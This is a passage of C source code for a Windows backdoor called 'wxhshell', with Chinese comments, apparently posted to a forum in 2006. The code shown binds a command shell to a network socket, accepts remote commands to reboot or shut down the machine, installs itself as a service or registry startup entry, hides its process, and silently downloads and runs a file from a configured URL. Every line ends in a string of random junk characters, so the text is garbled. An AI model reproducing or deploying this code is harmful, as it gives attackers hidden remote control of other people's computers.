    switch(cmd[0]) { >CqzC8JF  
  E[]5Od5#  
  // 帮助 No'?8+i  
  case '?': { ecghY=%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {_O!mI*  
    break; "d_wu#fO)  
  } s{Z)<n03  
  // 安装 ) CP  
  case 'i': { F~mIV;BP  
    if(Install()) {arqcILr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZD]1C ~)  
    else 147QB+cE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R-13DVK  
    break; f<Hi=Qpm  
    } li r=0oq<  
  // 卸载 T }}2J/sj  
  case 'r': { '+PKGmRW  
    if(Uninstall()) `<C<[JP:o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9{toPED  
    else 6Yj{% G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lM6pYYEq=  
    break; Gmz^vpQ]t  
    } 0@ Y#P|QF  
  // 显示 wxhshell 所在路径 AG N/kx  
  case 'p': { to'7o8Z  
    char svExeFile[MAX_PATH]; +3)r szb72  
    strcpy(svExeFile,"\n\r"); 'r?ULft1  
      strcat(svExeFile,ExeFile); ~zqb{o^pT  
        send(wsh,svExeFile,strlen(svExeFile),0); /,Xl8<~#  
    break; Hc)z:x;Sj  
    } =:- fK-d  
  // 重启  )(G9[DG  
  case 'b': { HC%Hbc~S_Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !GqFX+!Ju  
    if(Boot(REBOOT)) ,@`?I6nKy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }e?H(nZS7h  
    else { /<J(\;Jr6  
    closesocket(wsh); .-KI,IU  
    ExitThread(0); !(GyOAb  
    } P!eo#b^S  
    break; 54+(o6E<  
    } *GT=U(d  
  // 关机 8h=t%zMSb  
  case 'd': { f!9i6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b2m={q(s  
    if(Boot(SHUTDOWN)) Zse&{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $9)os7H7  
    else { jf~](TK  
    closesocket(wsh); k?+ 7%A]  
    ExitThread(0); WAa45G  
    } B*(]T|ff<  
    break; p)y5[HX  
    } j/O~8o&  
  // 获取shell i5VZ,E^E  
  case 's': { c|&3e84U  
    CmdShell(wsh); 7n8nJTU{4j  
    closesocket(wsh); ^3;B4tj[  
    ExitThread(0); QNj]wm=mp  
    break; {M]_]L{&7  
  } D}_.D=)  
  // 退出 Nd~B$venh  
  case 'x': { s2; ~FK#/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $%y q[$^  
    CloseIt(wsh); )^>LnQ_u  
    break; $|N6I  
    } XUqorE  
  // 离开 <xI<^r'C9e  
  case 'q': { X?5{2ulrI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Hn|W3U  
    closesocket(wsh); O=B =0  
    WSACleanup(); De?VZ2o9"  
    exit(1); X0/slOT  
    break; NJUKH1lIhR  
        } `Ij@;=(  
  } ^q:-ZgM>  
  } b}[S+G-9W  
Y6` xb`  
  // 提示信息 1EyN |m|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k# [!; <  
} <LHhs <M'  
  } tW\yt~q,  
OW7  
  return;  YKyno?m  
} cS ~OxAS  
3:)z+#Uk6  
// shell模块句柄 ARKM[]  
int CmdShell(SOCKET sock) NXW*{b  
{ @N=vmtLP  
STARTUPINFO si; hFrMOc&  
ZeroMemory(&si,sizeof(si)); OM86C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kwI``7g8*e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kpm;ohd  
PROCESS_INFORMATION ProcessInfo; VoU8I ~  
char cmdline[]="cmd"; T[oC='I+O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r/YJ,2!  
  return 0; ij" ~]I  
} ]PXM;w  
A;oHji#*  
// 自身启动模式 ci0A!wWD  
int StartFromService(void) ['d9sEv.  
{ {v ?Q9  
typedef struct i'IT,jz !  
{ slQn  
  DWORD ExitStatus; c_J9CKqc  
  DWORD PebBaseAddress; u`pTFy  
  DWORD AffinityMask; VY?9|};f  
  DWORD BasePriority; YF%gs{  
  ULONG UniqueProcessId; T &ZQ ie/  
  ULONG InheritedFromUniqueProcessId; dWAt#xII  
}   PROCESS_BASIC_INFORMATION; CIudtY(:  
NR4+&d  
PROCNTQSIP NtQueryInformationProcess; 8wU$kK  
*uvM6F$ut  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $y(;"hy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Obs#2>h  
wlS/(:02  
  HANDLE             hProcess; k<gH*=uXY'  
  PROCESS_BASIC_INFORMATION pbi; \DB-2*a"  
C:QB=?%;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nm^HL|  
  if(NULL == hInst ) return 0; iRQ!J1SGcG  
=sJ?]U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R\j~X@vI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &K ~k'P~m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &g`&#IRz  
m,.Y:2?*V  
  if (!NtQueryInformationProcess) return 0; ]aX@(3G1s  
$:9t(X)H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c*bvZC^6  
  if(!hProcess) return 0; $8tk|uh  
D"7}&Ry:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 55Ss%$k@  
`TrWtSwv  
  CloseHandle(hProcess); 9LR=>@Z  
K-RmB4WI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Et=Pr+Q{c  
if(hProcess==NULL) return 0; JZ5k3#@e  
N\{"&e  
HMODULE hMod; O]N/(pe:d  
char procName[255]; ?cU,%<r  
unsigned long cbNeeded; |]\zlH"w  
fY<#KM6X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AwM`[`ReE  
`7 "="T~ *  
  CloseHandle(hProcess); 5pQpzn =  
!eX0Q 2  
if(strstr(procName,"services")) return 1; // 以服务启动 i%2u>N i^  
GVY7`k"km  
  return 0; // 注册表启动 Q,U0xGGz  
} 6v`3/o  
GZ%vFje_ K  
// 主模块 HC iRk1  
int StartWxhshell(LPSTR lpCmdLine) V_7\VKR  
{ {j2V k)\[i  
  SOCKET wsl; mLCD N1UO{  
BOOL val=TRUE; }b_Ob  
  int port=0; U^m#!hp  
  struct sockaddr_in door; [WwoGg*)mn  
'l*X?ccKy  
  if(wscfg.ws_autoins) Install(); _w^,j"  
%>KbaM1b  
port=atoi(lpCmdLine); pMfb(D"  
H0l1=y  
if(port<=0) port=wscfg.ws_port; HNzxF nh  
?f?5Kye  
  WSADATA data; UU=]lWib  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0eY!Z._^  
L2H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j.E=WLKV*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #GzALF97  
  door.sin_family = AF_INET; ) Sn0Y B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $xO8?  
  door.sin_port = htons(port); m:@y_:X0  
8Qvs\TY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `v*HH}aDO  
closesocket(wsl); zPt<b!q  
return 1; `Ba]i)!  
} #g{R+#fm  
fi?4!h  
  if(listen(wsl,2) == INVALID_SOCKET) { mx Nd_{n  
closesocket(wsl); c^}y9% 4c  
return 1; 6tKrR{3#A  
} QLqtE;;)JK  
  Wxhshell(wsl); ?=1eHnP!R  
  WSACleanup(); qb>ULP0  
r:*G{m-  
return 0; ON2o^-%=  
j=r1JV @  
} IeYYG^V<A  
g~hMOI?KK^  
// 以NT服务方式启动 omE- c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =AIts[!qd  
{ v[dU UR f  
DWORD   status = 0; xf,[F8 2y  
  DWORD   specificError = 0xfffffff; ]?^V xB7L  
adLL7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z33UER"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CG1MT(V7?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =%<=Bn  
  serviceStatus.dwWin32ExitCode     = 0; hGtz[u#p  
  serviceStatus.dwServiceSpecificExitCode = 0; PR8nJts W5  
  serviceStatus.dwCheckPoint       = 0; Xf u0d1b  
  serviceStatus.dwWaitHint       = 0; Q-7?'\h  
*b{IWOSe^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \<{a=@_k9  
  if (hServiceStatusHandle==0) return; aTcz5g0"  
3FBLCD3  
status = GetLastError(); !se1W5ke#  
  if (status!=NO_ERROR) &'uP?r9c$  
{ ;cMQ 0e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Oeh A3$|#  
    serviceStatus.dwCheckPoint       = 0; 7FC!^)x1  
    serviceStatus.dwWaitHint       = 0; VLXA6+  
    serviceStatus.dwWin32ExitCode     = status; ddQ+EY@!  
    serviceStatus.dwServiceSpecificExitCode = specificError; wJC[[_"3 I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D$l!lRu8+L  
    return; sq|\!T  
  } Kg%9&l  
P:{Aq n~zR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WvfP9(-  
  serviceStatus.dwCheckPoint       = 0; 9c@M(U@Yh  
  serviceStatus.dwWaitHint       = 0; w;'XqpP$*|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~?\U];l  
} 9$)&b\D  
JL M Xkcc  
// 处理NT服务事件,比如:启动、停止 =gVMt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jQ{ @ol}n  
{ BUXE s0]Lv  
switch(fdwControl) <h -)zI  
{ ZJDV'mC}  
case SERVICE_CONTROL_STOP: q`xc h[H  
  serviceStatus.dwWin32ExitCode = 0; v>8.TE~2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {4g';  
  serviceStatus.dwCheckPoint   = 0; 0 qS/>u*  
  serviceStatus.dwWaitHint     = 0; Wga2).j6  
  { x,gk]Cf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p:08q B|uQ  
  } ?%,LZw^[  
  return; T5:Q_o]  
case SERVICE_CONTROL_PAUSE: |Y3w6!$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |=0vgwd"S  
  break; 9pLe8D  
case SERVICE_CONTROL_CONTINUE: x Lan1V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]0UYxv%]  
  break; $@PruY3[  
case SERVICE_CONTROL_INTERROGATE: ;\K]~  
  break; $;^|]/-  
}; WARiw[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mG[jR*JW  
} tVG;A&\,6  
i-|N6J  
// 标准应用程序主函数 7 yE\,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [* <x)  
{ S~/2Bw!2  
\5a.JfF  
// 获取操作系统版本 UFj H8jSBx  
OsIsNt=GetOsVer(); )Rn\6ka  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e]~p:  
}m+Q(2  
  // 从命令行安装 #D9.A7fCc5  
  if(strpbrk(lpCmdLine,"iI")) Install(); \,13mB6  
'8 .JnCg  
  // 下载执行文件 2M x\D  
if(wscfg.ws_downexe) { riW9l6s'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J _rrc;F  
  WinExec(wscfg.ws_filenam,SW_HIDE); R+HX'W  
} ~vXbh(MX  
9~hW8{#  
if(!OsIsNt) { p{,#H/+J  
// 如果时win9x,隐藏进程并且设置为注册表启动 8UU L=  
HideProc(); lC($@sC%  
StartWxhshell(lpCmdLine); m!ZY]:)$  
} a3 }V/MY  
else gvI!Ice#  
  if(StartFromService()) l`"?K D  
  // 以服务方式启动 bTJ<8q  
  StartServiceCtrlDispatcher(DispatchTable); p8'$@:M\  
else qur2t8gnxq  
  // 普通方式启动 lie,A  
  StartWxhshell(lpCmdLine); ,zgz7  
,sitOy}ks  
return 0; o< @![P  
}
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只看该作者 1 发表于: 2006-10-10
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